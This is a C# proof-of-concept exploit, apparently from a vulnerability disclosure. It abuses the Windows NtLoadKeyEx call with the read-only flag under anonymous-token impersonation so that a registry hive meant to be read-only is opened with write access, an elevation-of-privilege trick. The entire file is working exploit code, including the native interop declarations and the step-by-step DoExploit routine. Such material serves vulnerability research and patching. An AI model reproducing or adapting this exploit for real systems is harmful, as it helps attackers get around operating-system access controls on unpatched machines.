using Microsoft.Win32;
using Microsoft.Win32.SafeHandles;
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
 
namespace PoC_NtLoadKeyEx_ReadOnlyFlag_EoP
{
  class Program
  {
    [Flags]
    public enum AttributeFlags : uint
    {
      None = 0,
      Inherit = 0x00000002,
      Permanent = 0x00000010,
      Exclusive = 0x00000020,
      CaseInsensitive = 0x00000040,
      OpenIf = 0x00000080,
      OpenLink = 0x00000100,
      KernelHandle = 0x00000200,
      ForceAccessCheck = 0x00000400,
      IgnoreImpersonatedDevicemap = 0x00000800,
      DontReparse = 0x00001000,
    }
 
    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    public sealed class UnicodeString
    {
      ushort Length;
      ushort MaximumLength;
      [MarshalAs(UnmanagedType.LPWStr)]
      string Buffer;
 
      public UnicodeString(string str)
      {
        Length = (ushort)(str.Length * 2);
        MaximumLength = (ushort)((str.Length * 2) + 1);
        Buffer = str;
      }
    }
 
    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    public sealed class ObjectAttributes : IDisposable
    {
      int Length;
      IntPtr RootDirectory;
      IntPtr ObjectName;
      AttributeFlags Attributes;
      IntPtr SecurityDescriptor;
      IntPtr SecurityQualityOfService;
 
      private static IntPtr AllocStruct(object s)
      {
        int size = Marshal.SizeOf(s);
        IntPtr ret = Marshal.AllocHGlobal(size);
        Marshal.StructureToPtr(s, ret, false);
        return ret;
      }
 
      private static void FreeStruct(ref IntPtr p, Type struct_type)
      {
        Marshal.DestroyStructure(p, struct_type);
        Marshal.FreeHGlobal(p);
        p = IntPtr.Zero;
      }
 
      public ObjectAttributes(string object_name)
      {
        Length = Marshal.SizeOf(this);
        if (object_name != null)
        {
          ObjectName = AllocStruct(new UnicodeString(object_name));
        }
        Attributes = AttributeFlags.None;
      }
 
      public void Dispose()
      {
        if (ObjectName != IntPtr.Zero)
        {
          FreeStruct(ref ObjectName, typeof(UnicodeString));
        }
        GC.SuppressFinalize(this);
      }
 
      ~ObjectAttributes()
      {
        Dispose();
      }
    }
 
    [Flags]
    public enum LoadKeyFlags
    {
      None = 0,
      AppKey = 0x10,
      Exclusive = 0x20,
      Unknown800 = 0x800,
      ReadOnly = 0x2000,
    }
 
    [Flags]
    public enum GenericAccessRights : uint
    {
      None = 0,
      GenericRead = 0x80000000,
      GenericWrite = 0x40000000,
      GenericExecute = 0x20000000,
      GenericAll = 0x10000000,
      Delete = 0x00010000,
      ReadControl = 0x00020000,
      WriteDac = 0x00040000,
      WriteOwner = 0x00080000,
      Synchronize = 0x00100000,
      MaximumAllowed = 0x02000000,
    }
 
    public class NtException : ExternalException
    {
      [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
      private static extern IntPtr GetModuleHandle(string modulename);
 
      [Flags]
      enum FormatFlags
      {
        AllocateBuffer = 0x00000100,
        FromHModule = 0x00000800,
        FromSystem = 0x00001000,
        IgnoreInserts = 0x00000200
      }
 
      [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
      private static extern int FormatMessage(
        FormatFlags dwFlags,
        IntPtr lpSource,
        int dwMessageId,
        int dwLanguageId,
        out IntPtr lpBuffer,
        int nSize,
        IntPtr Arguments
      );
 
      [DllImport("kernel32.dll")]
      private static extern IntPtr LocalFree(IntPtr p);
 
      private static string StatusToString(int status)
      {
        IntPtr buffer = IntPtr.Zero;
        try
        {
          if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts,
              GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0)
          {
            return Marshal.PtrToStringUni(buffer);
          }
        }
        finally
        {
          if (buffer != IntPtr.Zero)
          {
            LocalFree(buffer);
          }
        }
        return String.Format("Unknown Error: 0x{0:X08}", status);
      }
 
      public NtException(int status) : base(StatusToString(status))
      {
      }
    }
 
    public static void StatusToNtException(int status)
    {
      if (status < 0)
      {
        throw new NtException(status);
      }
    }   
 
    [DllImport("Advapi32.dll")]
    static extern bool ImpersonateAnonymousToken(
      IntPtr ThreadHandle);
 
    [DllImport("Advapi32.dll")]
    static extern bool RevertToSelf();
 
    [DllImport("ntdll.dll")]
    public static extern int NtLoadKeyEx(ObjectAttributes DestinationName, ObjectAttributes FileName, LoadKeyFlags Flags,
        IntPtr TrustKeyHandle, IntPtr EventHandle, GenericAccessRights DesiredAccess, out SafeRegistryHandle KeyHandle, int Unused);
 
    static RegistryKey LoadKey(string path, bool read_only)
    {
      string reg_name = @"\Registry\A\" + Guid.NewGuid().ToString("B");
      ObjectAttributes KeyName = new ObjectAttributes(reg_name);
      ObjectAttributes FileName = new ObjectAttributes(@"\??\" + path);
      SafeRegistryHandle keyHandle;
      LoadKeyFlags flags = LoadKeyFlags.AppKey;
      if (read_only)
        flags |= LoadKeyFlags.ReadOnly;
 
      int status = NtLoadKeyEx(KeyName,
        FileName, flags, IntPtr.Zero,
        IntPtr.Zero, GenericAccessRights.GenericRead, out keyHandle, 0);
      if (status != 0)
        return null;
      return RegistryKey.FromHandle(keyHandle);     
    }
 
    static bool CheckForLogs(string path)
    {
      return File.Exists(path + ".LOG1") || File.Exists(path + ".LOG2");
    }
 
    static void DoExploit()
    {
      string path = Path.GetFullPath("dummy.hiv");
      RegistryKey key = LoadKey(path, false);     
      if (key == null)
      {
        throw new Exception("Something went wrong, couldn't create dummy hive");
      }
      key.Close();
       
      // Ensure the log files are deleted.
      File.Delete(path + ".LOG1");
      File.Delete(path + ".LOG2");
      if (CheckForLogs(path))
      {
        throw new Exception("Couldn't delete log files");
      }
 
      key = LoadKey(path, true);
      if (key == null || CheckForLogs(path))
      {
        throw new Exception("Didn't open hive readonly");
      }
      key.Close();
 
      ImpersonateAnonymousToken(new IntPtr(-2));
      key = LoadKey(path, true);
      RevertToSelf();
      if (!CheckForLogs(path))
      {
        throw new Exception("Log files not recreated");
      }
 
      Console.WriteLine("[SUCCESS]: Read Only Hive Opened with Write Access");
    }
 
    static void Main(string[] args)
    {
      try
      {
        DoExploit();       
      }
      catch (Exception ex)
      {
        Console.WriteLine("[ERROR]: {0}", ex.Message);
      }
    }
  }
}